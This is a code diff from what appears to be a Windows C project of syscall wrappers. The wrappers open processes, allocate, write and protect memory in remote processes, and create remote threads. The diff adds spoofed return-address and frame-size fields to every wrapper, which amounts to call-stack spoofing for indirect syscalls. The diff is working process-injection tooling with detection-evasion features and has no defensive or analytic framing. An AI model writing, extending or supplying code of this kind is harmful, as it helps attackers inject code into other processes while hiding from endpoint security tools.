@@ -25,6 +25,8 @@ static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = out_handle;
args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ;
args.arg3 = &obj_attr;
@@ -52,6 +54,8 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = section_handle;
args.arg2 = GetCurrentProcess();
args.arg3 = &base_address;
@@ -88,6 +92,8 @@ static snd_status_t WINAPI sys_mapping_close(HANDLE handle) {
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = handle;
if (g_syscall_invoker == NULL) {
+6
View File
@@ -26,6 +26,8 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = processHandle;
args.arg2 = &baseAddress;
args.arg3 = 0;
@@ -61,6 +63,8 @@ static snd_status_t WINAPI sys_free(LPVOID address, SIZE_T size, DWORD free_type
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = processHandle;
args.arg2 = &baseAddress;
args.arg3 = &regionSize;
@@ -87,6 +91,8 @@ static snd_status_t WINAPI sys_protect(LPVOID address, SIZE_T size, DWORD new_pr
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = processHandle;
args.arg2 = &baseAddress;
args.arg3 = &regionSize;
+12
View File
@@ -27,6 +27,8 @@ static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HAN
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = out_process;
args.arg2 = (PVOID)(ULONG_PTR)desired_access;
args.arg3 = &oa;
@@ -56,6 +58,8 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = process;
args.arg2 = &local_base;
args.arg3 = 0;
@@ -86,6 +90,8 @@ static snd_status_t WINAPI sys_write_remote(HANDLE process, PVOID base_address,
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = process;
args.arg2 = base_address;
args.arg3 = (PVOID)buffer;
@@ -115,6 +121,8 @@ static snd_status_t WINAPI sys_protect_remote(HANDLE process, PVOID base_address
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = process;
args.arg2 = &addr;
args.arg3 = &regionSize;
@@ -144,6 +152,8 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = out_thread;
args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF;
args.arg3 = NULL;
@@ -172,6 +182,8 @@ static snd_status_t WINAPI sys_close_handle(HANDLE handle) {
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = handle;
if (g_syscall_invoker == NULL) {